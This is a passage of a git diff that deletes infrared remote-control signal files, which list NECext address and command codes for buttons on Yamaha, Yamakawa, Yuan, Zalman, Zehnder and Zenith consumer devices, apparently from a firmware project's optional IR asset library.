-type: parsed -protocol: NECext -address: D1 00 00 00 -command: C3 00 00 00 -# -name: HIDE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C6 00 00 00 -# -name: PATTERN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C9 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CC 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CD 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CE 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: D1 00 00 00 -command: CF 00 00 00 -# -name: RETURN_<-- -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D0 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D3 00 00 00 -# -name: ESCAPE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D5 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D7 00 00 00 -# -name: INPUT:_S-VIDEO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D8 00 00 00 -# -name: INPUT:_VIDEO -type: parsed -protocol: NECext -address: D1 00 00 00 -command: D9 00 00 00 -# -name: INPUT:_A_(COMPNENT) -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DA 00 00 00 -# -name: INPUT:_B_(DB-15) -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DB 00 00 00 -# -name: INPUT:_DVI -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DC 00 00 00 -# -name: INPUT:_D4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DD 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: D1 00 00 00 -command: DF 00 00 00 -# -name: MEMORY_1 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E1 00 00 00 -# -name: MEMORY_2 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E2 00 00 00 -# -name: MEMORY_3 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E3 00 00 00 -# -name: MEMORY_4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E4 00 00 00 -# -name: MEMORY_5 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E5 00 00 00 -# -name: MEMORY_6 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: E6 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: D1 00 00 00 -command: EA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir deleted file mode 100644 index 9cebc26ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 15 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir deleted file mode 100644 index 6a71120a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOCAL-ASSIST -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: MENU/RETURN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: SUB-TITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: REPEAT_1/ALL -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: TITLE/DIGEST -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: T/C_SEARCH -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: ANGLE/CLEAR -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir deleted file mode 100644 index 8de28aae2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: KEY_1/all -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: f.r. -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 42 00 00 00 -# -name: programm -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: p-scan -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: vga/av -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4B 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: f.f. -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir deleted file mode 100644 index 18000a7ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: KEY_DISPLAY -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: X_KEY_SOURCE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1D 00 00 00 -# -name: X_KEY_SNAPSHOT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: X_KEY_SKIP_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 40 00 00 00 -# -name: X_KEY_SKIP_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 42 00 00 00 -# -name: X_KEY_TIME_SHIFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 43 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 44 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 45 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 46 00 00 00 -# -name: X_KEY_REC_PLAY -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 47 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 48 00 00 00 -# -name: X_KEY_MTS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 49 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4A 00 00 00 -# -name: KEY_REC -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir deleted file mode 100644 index e2c2e51a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 01 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 05 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 0A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 0B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 0F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 12 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 13 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 14 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 16 00 00 00 -# -name: task -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 17 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 19 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 1A 00 00 00 -# -name: run -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 1B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 1D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 1E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 1F 00 00 00 -# -name: myvideo -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 40 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 41 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 42 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 43 00 00 00 -# -name: myphoto -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 45 00 00 00 -# -name: mytv -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 46 00 00 00 -# -name: warp -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 47 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 4A 00 00 00 -# -name: detail -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 4B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 4C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 4D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 4E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 4F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 50 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 51 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 52 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 54 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 55 00 00 00 -# -name: mymusic -type: parsed -protocol: NECext -address: 73 9A 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir deleted file mode 100644 index dc1587597..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INDEX -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: SYS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: AUD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir deleted file mode 100644 index 0473aeb25..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CLOSED_CAPTION -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 00 00 00 00 -# -name: CHANNEL_-_DOWN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 01 00 00 00 -# -name: PAGE_-_DOWN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 01 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 01 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 02 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 04 00 00 00 -# -name: (_--_) -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 05 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 06 00 00 00 -# -name: CHANNEL_-_UP -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 09 00 00 00 -# -name: PAGE_-_UP -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 09 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0A 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0B 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0C 00 00 00 -# -name: INPUT_-_ANTENNA -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0E 00 00 00 -# -name: CUROSR_-_RIGHT -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 19 00 00 00 -# -name: CHANNEL_-_PREVIOUS -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1B 00 00 00 -# -name: FLASHBACK -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1B 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1C 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1D 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext 